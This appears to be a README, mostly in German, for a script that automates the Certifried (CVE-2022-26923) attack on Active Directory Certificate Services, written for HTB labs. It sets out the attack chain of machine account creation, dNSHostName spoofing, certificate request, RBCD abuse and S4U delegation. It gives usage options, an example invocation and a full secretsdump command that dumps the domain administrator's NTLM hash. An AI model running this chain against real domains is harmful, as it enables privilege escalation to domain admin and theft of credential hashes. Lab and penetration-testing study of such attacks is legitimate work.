CVE-2022-26923 – Certifried Exploit (AD CS Missbrauch)

Automatisierung der Ausnutzung von CVE-2022-26923 (Certifried) zur Privilegienausweitung durch Missbrauch von Active Directory Certificate Services (AD CS) und Resource-Based Constrained Delegation (RBCD), was zum Dump des NTLM-Hash eines Domänenadministratorkontos führt.

⚠️ Nur zu Bildungszwecken / Labor / HTB

Nicht in nicht autorisierten Umgebungen verwenden.

---

🎯 Beschreibung

Dieses Skript automatisiert die folgende Angriffskette:

1. Erstellen eines kontrollierten Maschinenkontos
2. Ändern des dNSHostName
3. Anfordern eines Zertifikats über AD CS
4. Authentifizierung per Zertifikat
5. RBCD-Missbrauch
6. S4U2Self + S4U2Proxy
7. Abrufen eines Kerberos-Tickets für administrator
8. NTLM-Dump über secretsdump.py

---

🔗 Schwachstelle

• CVE-2022-26923 – "Certifried"
• Betrifft Active-Directory-Umgebungen, die AD CS verwenden
• Ermöglicht Identitätswechsel eines Domain Controllers über ein fehlerhaft ausgestelltes Zertifikat

---

🛠 Verwendete Tools

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

---

📦 Installation der Abhängigkeiten

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

---

🚀 Verwendung

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Verfügbare Optionen

-d, --dc-ip          IP du Domain Controller
-D, --domain         Nom du domaine
-u, --user           Utilisateur valide
-p, --pass           Mot de passe utilisateur
-c, --comp-name      Nom machine contrôlée
-C, --comp-pass      Mot de passe machine
-a, --ca-name        Nom du Certificate Authority
-t, --template       Template certificat
-f, --pfx-file       Nom fichier PFX
-H, --dc-hostname    Hostname du DC
-A, --dc-account     Compte DC
-i, --impersonate    Compte cible à impersonner
--verbose            Mode debug
-h, --help           Aide

---

🧠 Beispiel (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

---

🔥 Erwartetes Ergebnis

Am Ende der Ausführung:

• Ein Kerberos-Ticket administrator.ccache
• Der NTLM-Dump des Kontos administrator

Bei Kerberos-Problemen:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

---

🧬 Interne Funktionsweise

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

---

⚠️ Haftungsausschluss

Dieses Projekt dient folgenden Zwecken:

• Bildung
• Sicherheitsforschung
• persönliches Labor
• CTF / HTB

Der Autor übernimmt keine Haftung für nicht autorisierte Nutzung.

---

📜 Lizenz

MIT